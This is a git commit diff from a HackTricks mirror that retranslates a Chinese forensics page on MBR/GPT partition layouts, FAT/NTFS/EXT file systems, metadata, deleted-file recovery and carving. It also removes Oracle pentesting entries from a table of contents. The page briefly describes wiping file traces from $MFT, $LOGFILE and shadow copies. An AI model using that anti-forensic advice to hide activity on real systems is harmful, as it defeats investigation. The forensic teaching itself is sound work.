mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
d928a210bf
commit
76b0613247
41 changed files with 2436 additions and 5242 deletions
|
@ -485,10 +485,6 @@
|
|||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
* [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
|
||||
* [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
|
||||
* [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
# 分区/文件系统/数据挖掘
|
||||
# 分区/文件系统/Carving
|
||||
|
||||
## 分区/文件系统/数据挖掘
|
||||
## 分区/文件系统/Carving
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 分区
|
||||
|
||||
硬盘或**SSD磁盘可以包含不同的分区**,目的是物理上分隔数据。\
|
||||
磁盘的**最小**单位是**扇区**(通常由512B组成)。因此,每个分区的大小需要是该大小的倍数。
|
||||
硬盘或**SSD磁盘可以包含不同的分区**,目的是在物理上分隔数据。\
|
||||
磁盘的**最小单位是扇区**(通常由512B组成)。因此,每个分区的大小都需要是该大小的倍数。
|
||||
|
||||
### MBR(主引导记录)
|
||||
|
||||
它位于磁盘的**第一个扇区,引导代码的446B之后**。这个扇区对于指示PC应该从哪里挂载什么分区至关重要。\
|
||||
它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导的**)。然而,如果您需要更多分区,您可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只有一个分区可以被标记为活动的。\
|
||||
MBR允许的**最大容量为2.2TB**。
|
||||
它分配在磁盘的**第一个扇区**,在引导代码的446B之后。这个扇区对于指示计算机应该从哪里挂载分区很重要。\
|
||||
它允许**最多4个分区**(最多**只能有1个**是活动的/**可引导的**)。但是,如果您需要更多分区,可以使用**扩展分区**。这个第一个扇区的最后一个字节是引导记录签名**0x55AA**。只能标记一个分区为活动的。\
|
||||
MBR允许**最大2.2TB**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
从MBR的**440到443字节**,您可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会阻止Windows启动(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
|
||||
从MBR的**字节440到443**,您可以找到**Windows磁盘签名**(如果使用Windows)。硬盘的逻辑驱动器字母取决于Windows磁盘签名。更改此签名可能会阻止Windows引导(工具:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
|
@ -40,30 +40,30 @@ MBR允许的**最大容量为2.2TB**。
|
|||
| 偏移量 | 长度 | 项目 |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | 引导代码 |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第一分区 |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第二分区 |
|
||||
| 478 (0x1DE) | 16 (0x10) | 第三分区 |
|
||||
| 494 (0x1EE) | 16 (0x10) | 第四分区 |
|
||||
| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
|
||||
| 478 (0x1DE) | 16 (0x10) | 第三个分区 |
|
||||
| 494 (0x1EE) | 16 (0x10) | 第四个分区 |
|
||||
| 510 (0x1FE) | 2 (0x2) | 签名 0x55 0xAA |
|
||||
|
||||
**分区记录格式**
|
||||
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区 (位0-5); 圆柱体上位 (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始圆柱体最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码 (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区 (位0-5); 圆柱体上位 (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束圆柱体最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前扇区数 (小端序) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区内扇区数 |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志(0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始磁头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);柱面的高位(6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始柱面的最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束磁头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);柱面的高位(6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束柱面的最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区数(小端) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区中的扇区数 |
|
||||
|
||||
为了在Linux中挂载MBR,首先需要获取起始偏移量(您可以使用`fdisk`和`p`命令)
|
||||
要在Linux中挂载MBR,首先需要获取起始偏移量(可以使用`fdisk`和`p`命令)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
然后使用以下代码
|
||||
```bash
|
||||
|
@ -72,103 +72,103 @@ mount -o ro,loop,offset=<Bytes>
|
|||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (逻辑块寻址)**
|
||||
**LBA(逻辑块寻址)**
|
||||
|
||||
**逻辑块寻址**(**LBA**)是一种常用的方案,用于**指定存储在计算机存储设备上的数据块的位置**,通常是硬盘驱动器等二级存储系统。LBA是一种特别简单的线性寻址方案;**块通过整数索引定位**,第一个块是LBA 0,第二个是LBA 1,依此类推。
|
||||
**逻辑块寻址**(LBA)是一种常用的方案,用于指定存储在计算机存储设备上的数据块的位置,通常是硬盘驱动器等二级存储系统。LBA是一种特别简单的线性寻址方案;**通过整数索引来定位块**,第一个块为LBA 0,第二个为LBA 1,依此类推。
|
||||
|
||||
### GPT (GUID 分区表)
|
||||
### GPT(GUID分区表)
|
||||
|
||||
之所以称为GUID分区表,是因为驱动器上的每个分区都有一个**全局唯一标识符**。
|
||||
称为GUID分区表,因为驱动器上的每个分区都有一个**全局唯一标识符**。
|
||||
|
||||
就像MBR一样,它从**扇区0**开始。MBR占用32位,而**GPT**使用**64位**。\
|
||||
GPT **允许在Windows中最多128个分区**,并支持高达**9.4ZB**。\
|
||||
此外,分区可以有一个36个字符的Unicode名称。
|
||||
GPT在Windows中**允许最多128个分区**,容量高达**9.4ZB**。\
|
||||
此外,分区可以有36个字符的Unicode名称。
|
||||
|
||||
在MBR磁盘上,分区和启动数据存储在一个位置。如果这些数据被覆盖或损坏,你就麻烦了。相比之下,**GPT在磁盘上多个位置存储这些数据的副本**,因此它更加健壮,并且如果数据损坏,GPT可以注意到问题并**尝试从磁盘上的另一个位置恢复损坏的数据**。
|
||||
在MBR磁盘上,分区和引导数据存储在一个位置。如果这些数据被覆盖或损坏,你就会遇到麻烦。相比之下,**GPT在磁盘上存储了这些数据的多个副本**,因此更加健壮,可以在数据损坏时尝试从磁盘上的其他位置恢复受损数据。
|
||||
|
||||
GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。如果数据损坏,GPT可以发现问题并**尝试从磁盘上的另一个位置恢复损坏的数据**。
|
||||
GPT还存储**循环冗余校验(CRC)**值来检查其数据是否完整。如果数据损坏,GPT可以注意到问题,并尝试从磁盘上的另一个位置**恢复受损数据**。
|
||||
|
||||
**保护性MBR (LBA0)**
|
||||
**保护性MBR(LBA0)**
|
||||
|
||||
为了有限的向后兼容性,GPT规范中仍保留了传统MBR的空间,但现在的使用方式是为了**防止基于MBR的磁盘工具错误识别并可能覆盖GPT磁盘**。这被称为保护性MBR。
|
||||
为了有限的向后兼容性,传统MBR的空间仍然保留在GPT规范中,但现在以一种**方式使用,防止基于MBR的磁盘工具错误识别和可能覆盖GPT磁盘**。这被称为保护性MBR。
|
||||
|
||||
![](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**混合MBR (LBA 0 + GPT)**
|
||||
**混合MBR(LBA 0 + GPT)**
|
||||
|
||||
在支持通过BIOS服务而不是EFI的**基于GPT的启动**的操作系统中,第一个扇区也可能仍用于存储**引导加载程序**代码的第一阶段,但**修改**为识别**GPT** **分区**。MBR中的引导加载程序不得假设扇区大小为512字节。
|
||||
在支持**通过BIOS进行基于GPT引导的操作系统**中,第一个扇区可能仍然用于存储**引导加载程序**代码的第一阶段,但**修改**以识别**GPT分区**。MBR中的引导加载程序不得假定扇区大小为512字节。
|
||||
|
||||
**分区表头 (LBA 1)**
|
||||
**分区表头(LBA 1)**
|
||||
|
||||
分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(表中的偏移量80和84)。
|
||||
分区表头定义了磁盘上可用的块。它还定义了组成分区表的分区条目的数量和大小(表中的偏移量80和84)。
|
||||
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 字节 | 签名("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)在小端机器上) |
|
||||
| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 字节 | 头部大小以小端表示(以字节为单位,通常为5Ch 00h 00h 00h 或 92字节) |
|
||||
| 16 (0x10) | 4 字节 | 头部的[CRC32](https://en.wikipedia.org/wiki/CRC32)(从偏移量+0到头部大小)以小端表示,计算时此字段归零 |
|
||||
| 20 (0x14) | 4 字节 | 保留;必须为零 |
|
||||
| 24 (0x18) | 8 字节 | 当前LBA(此头部副本的位置) |
|
||||
| 32 (0x20) | 8 字节 | 备份LBA(另一个头部副本的位置) |
|
||||
| 40 (0x28) | 8 字节 | 分区的第一个可用LBA(主分区表最后一个LBA + 1) |
|
||||
| 48 (0x30) | 8 字节 | 最后一个可用LBA(次级分区表第一个LBA − 1) |
|
||||
| 56 (0x38) | 16 字节 | 磁盘GUID以混合端表示 |
|
||||
| 72 (0x48) | 8 字节 | 分区条目数组的起始LBA(主副本中始终为2) |
|
||||
| 80 (0x50) | 4 字节 | 数组中分区条目的数量 |
|
||||
| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为80h或128) |
|
||||
| 88 (0x58) | 4 字节 | 分区条目数组的CRC32以小端表示 |
|
||||
| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于扇区大小为512字节的为420字节;但对于更大的扇区大小可以更多) |
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0(0x00) | 8字节 | 签名(“EFI PART”,45h 46h 49h 20h 50h 41h 52h 54h或0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)在小端机器上) |
|
||||
| 8(0x08) | 4字节 | 1.0版本的修订版(00h 00h 01h 00h)适用于UEFI 2.8 |
|
||||
| 12(0x0C)| 4字节 | 小端序的头部大小(以字节为单位,通常为5Ch 00h 00h 00h或92字节) |
|
||||
| 16(0x10)| 4字节 | 头部的CRC32(从偏移量+0到头部大小)的小端序,计算过程中将此字段清零 |
|
||||
| 20(0x14)| 4字节 | 保留;必须为零 |
|
||||
| 24(0x18)| 8字节 | 当前LBA(此头部副本的位置) |
|
||||
| 32(0x20)| 8字节 | 备份LBA(另一个头部副本的位置) |
|
||||
| 40(0x28)| 8字节 | 分区的第一个可用LBA(主分区表的最后一个LBA + 1) |
|
||||
| 48(0x30)| 8字节 | 最后一个可用LBA(次要分区表的第一个LBA - 1) |
|
||||
| 56(0x38)| 16字节 | 混合端的磁盘GUID |
|
||||
| 72(0x48)| 8字节 | 分区条目数组的起始LBA(主副本中始终为2) |
|
||||
| 80(0x50)| 4字节 | 数组中的分区条目数 |
|
||||
| 84(0x54)| 4字节 | 单个分区条目的大小(通常为80h或128) |
|
||||
| 88(0x58)| 4字节 | 分区条目数组的CRC32(小端序) |
|
||||
| 92(0x5C)| \* | 保留;对于块的其余部分必须为零(对于512字节的扇区大小为420字节;但对于更大的扇区大小可能会更多) |
|
||||
|
||||
**分区条目 (LBA 2–33)**
|
||||
**分区条目(LBA 2–33)**
|
||||
|
||||
| GUID分区条目格式 | | |
|
||||
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| 0 (0x00) | 16 字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(混合端表示) |
|
||||
| 16 (0x10) | 16 字节 | 唯一分区GUID(混合端表示) |
|
||||
| 32 (0x20) | 8 字节 | 第一个LBA([小端表示](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 字节 | 最后一个LBA(包含在内,通常为奇数) |
|
||||
| 48 (0x30) | 8 字节 | 属性标志(例如,第60位表示只读) |
|
||||
| 56 (0x38) | 72 字节 | 分区名称(36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元) |
|
||||
| GUID分区条目格式 | | |
|
||||
| ---------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| 0(0x00) | 16字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(混合端序) |
|
||||
| 16(0x10) | 16字节 | 唯一分区GUID(混合端序) |
|
||||
| 32(0x20) | 8字节 | 第一个LBA([小端序](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40(0x28) | 8字节 | 最后一个LBA(包括,通常为奇数) |
|
||||
| 48(0x30) | 8字节 | 属性标志(例如,第60位表示只读) |
|
||||
| 56(0x38) | 72字节 | 分区名称(36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元) |
|
||||
|
||||
**分区类型**
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
更多分区类型在 [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
更多分区类型请参考[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
### 检查
|
||||
|
||||
在使用[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)挂载取证映像后,您可以使用Windows工具[**Active Disk Editor**](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中,检测到**MBR**位于**扇区0**并进行了解释:
|
||||
在使用[ArsenalImageMounter](https://arsenalrecon.com/downloads/)挂载取证镜像后,您可以使用Windows工具[Active Disk Editor](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中,检测到了**MBR**在**扇区0**上,并进行了解释:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
如果是**GPT表而不是MBR**,则应在**扇区1**出现签名_EFI PART_(在上图中为空)。
|
||||
如果是**GPT表而不是MBR**,则应在**扇区1**中出现签名_EFI PART_(在上图中为空)。
|
||||
|
||||
## 文件系统
|
||||
|
||||
### Windows文件系统列表
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**: 2012/2016
|
||||
* **FAT12/16**:MSDOS,WIN95/98/NT/200
|
||||
* **FAT32**:95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**:2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**:XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**:2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT(文件分配表)**文件系统以其组织方法命名,即文件分配表,位于卷的开头。为了保护卷,**两份**表的副本被保留,以防其中一份受损。此外,文件分配表和根文件夹必须存储在**固定位置**,以便正确定位启动系统所需的文件。
|
||||
**FAT(文件分配表)**文件系统以其组织方法命名,即文件分配表,它位于卷的开头。为了保护卷,**保留了表的两个副本**,以防其中一个损坏。此外,文件分配表和根文件夹必须存储在**固定位置**,以便正确定位启动系统所需的文件。
|
||||
|
||||
![](<../../../.gitbook/assets/image (495).png>)
|
||||
|
||||
此文件系统使用的最小空间单位是**簇,通常为512B**(由多个扇区组成)。
|
||||
|
||||
早期的**FAT12**将**簇地址限制为12位**值,最多可达**4078** **簇**;在UNIX下允许最多4084个簇。更高效的**FAT16**增加到**16位**簇地址,允许每个卷最多**65,517个簇**。FAT32使用32位簇地址,允许每个卷最多**268,435,456个簇**。
|
||||
早期的**FAT12**使用**12位簇地址**值,最多**4078个簇**;它允许在UNIX下最多使用4084个簇。更高效的**FAT16**增加到**16位**簇地址,允许每个卷最多**65,517个簇**。FAT32使用32位簇地址,允许每个卷最多**268,435,456个簇**。
|
||||
|
||||
**FAT允许的最大文件大小为4GB**(减去一个字节),因为文件系统使用32位字段以字节为单位存储文件大小,而2^32字节=4GiB。这适用于FAT12、FAT16和FAT32。
|
||||
**FAT允许的最大文件大小为4GB**(减去一个字节),因为文件系统使用32位字段以字节形式存储文件大小,而2^32字节等于4 GiB。这适用于FAT12、FAT16和FAT32。
|
||||
|
||||
**根目录**对于FAT12和FAT16占据**特定位置**(在FAT32中它占据的位置像其他文件夹一样)。每个文件/文件夹条目包含以下信息:
|
||||
**根目录**对于FAT12和FAT16占据**特定位置**(在FAT32中,它占据类似于任何其他文件夹的位置)。每个文件/文件夹条目包含以下信息:
|
||||
|
||||
* 文件/文件夹的名称(最多8个字符)
|
||||
* 属性
|
||||
|
@ -178,7 +178,7 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
* FAT表中文件第一个簇的地址
|
||||
* 大小
|
||||
|
||||
当使用FAT文件系统“删除”文件时,目录条目除了**文件名的第一个字符**(修改为0xE5)外,几乎保持**不变**,保留了大部分“已删除”文件的名称、时间戳、文件长度和 — 最重要的 — 其在磁盘上的物理位置。然而,文件占用的磁盘簇列表将从文件分配表中擦除,标记这些扇区可供以后创建或修改的其他文件使用。对于FAT32,还有一个负责文件起始簇值上16位的字段被擦除。
|
||||
当使用FAT文件系统“删除”文件时,目录条目几乎保持**不变**,除了文件名的**第一个字符**(修改为0xE5),保留了大部分“已删除”文件的名称,以及其时间戳、文件长度和 — 最重要的是 — 其在磁盘上的物理位置。然而,文件占用的磁盘簇列表将从文件分配表中删除,标记这些扇区可供其他创建或修改的文件使用。对于FAT32,还会擦除一个额外的字段,负责文件起始簇值的高16位。
|
||||
|
||||
### **NTFS**
|
||||
|
||||
|
@ -188,7 +188,7 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
|
||||
### EXT
|
||||
|
||||
**Ext2**是最常见的**非日志文件系统**(**不经常变化的分区**,如启动分区)。**Ext3/4**是**日志文件系统**,通常用于**其余分区**。
|
||||
**Ext2**是**不带日志记录**的分区上最常见的文件系统(**不经常更改的分区**,如引导分区)。**Ext3/4**是**带日志记录**的,通常用于**其余分区**。
|
||||
|
||||
{% content-ref url="ext.md" %}
|
||||
[ext.md](ext.md)
|
||||
|
@ -196,7 +196,7 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
|
||||
## **元数据**
|
||||
|
||||
一些文件包含元数据。这些信息是关于文件内容的,有时对分析师来说可能很有趣,因为根据文件类型,它可能包含像:
|
||||
一些文件包含元数据。这些信息是关于文件内容的,有时可能对分析人员很有趣,因为根据文件类型,它可能包含以下信息:
|
||||
|
||||
* 标题
|
||||
* 使用的MS Office版本
|
||||
|
@ -206,36 +206,36 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
* GPS坐标
|
||||
* 图像信息
|
||||
|
||||
您可以使用像[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)这样的工具获取文件的元数据。
|
||||
您可以使用[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)等工具获取文件的元数据。
|
||||
|
||||
## **已删除文件恢复**
|
||||
|
||||
### 记录已删除文件
|
||||
### 记录的已删除文件
|
||||
|
||||
如前所述,通常文件从文件系统中被“删除”后,文件的记录仍然保存在原处。这是因为通常删除文件只是将其标记为已删除,但数据并未被触及。然后,可以检查文件的注册表(如MFT),找到已删除的文件。
|
||||
正如之前所见,文件“删除”后仍然保存在几个位置。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被删除。因此,可以检查文件的注册表(如MFT)并找到已删除的文件。
|
||||
|
||||
此外,操作系统通常会保存大量关于文件系统更改和备份的信息,因此可以尝试使用它们来恢复文件或尽可能多的信息。
|
||||
此外,操作系统通常保存有关文件系统更改和备份的大量信息,因此可以尝试使用它们来恢复文件或尽可能多地获取信息。
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **文件雕刻**
|
||||
### **文件切割**
|
||||
|
||||
**文件雕刻**是一种尝试**在大量数据中找到文件的技术**。这类工具的工作方式有3种主要方法:**基于文件类型的头部和尾部**,基于文件类型的**结构**,以及基于**内容**本身。
|
||||
**文件切割**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作方式有3种主要方式:**基于文件类型的头部和尾部**,基于文件类型的**结构**,以及基于**内容**本身。
|
||||
|
||||
请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,那么这种技术将无法找到它或至少是它的一部分。
|
||||
请注意,此技术**无法检索分段的文件**。如果文件**不存储在连续扇区中**,则此技术将无法找到它或至少找到部分。
|
||||
|
||||
有几种工具可以用于文件雕刻,指示您要搜索的文件类型
|
||||
有几种工具可用于文件切割,指定要搜索的文件类型。
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 数据流**雕刻**
|
||||
### 数据流**切割**
|
||||
|
||||
数据流雕刻与文件雕刻类似,但**不是寻找完整的文件,而是寻找有趣的信息片段**。\
|
||||
例如,不是寻找包含记录的URL的完整文件,而是搜索URL。
|
||||
数据流切割类似于文件切割,**但不是寻找完整文件,而是寻找有趣的信息片段**。\
|
||||
例如,与寻找包含记录的URL的完整文件不同,此技术将搜索URL。
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
|
@ -243,8 +243,8 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
|
||||
### 安全删除
|
||||
|
||||
显然,有方法可以**“安全地”删除文件和关于它们的日志部分**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**来自**$MFT**和**$LOGFILE**的文件的**日志**,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行了该操作,文件存在的其他部分可能仍然被记录下来,这是真的,取证专业人员的工作部分就是找到它们。
|
||||
显然,有方法可以**“安全地”删除文件和有关它们的部分日志**。例如,可以**多次覆盖文件内容**以垃圾数据,然后**从$MFT**和**$LOGFILE**中删除有关文件的日志,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行了该操作,仍可能有其他部分记录文件存在的地方,这是取证专业人员的工作的一部分,是找到它们。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -252,16 +252,4 @@ GPT还存储**循环冗余校验(CRC)**值以检查其数据是否完整。
|
|||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击到高手,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
|
||||
* 通过向[**HackTricks**](https://github.com/c
|
||||
* **iHackLabs认证数字取证Windows**
|
||||
|
|
|
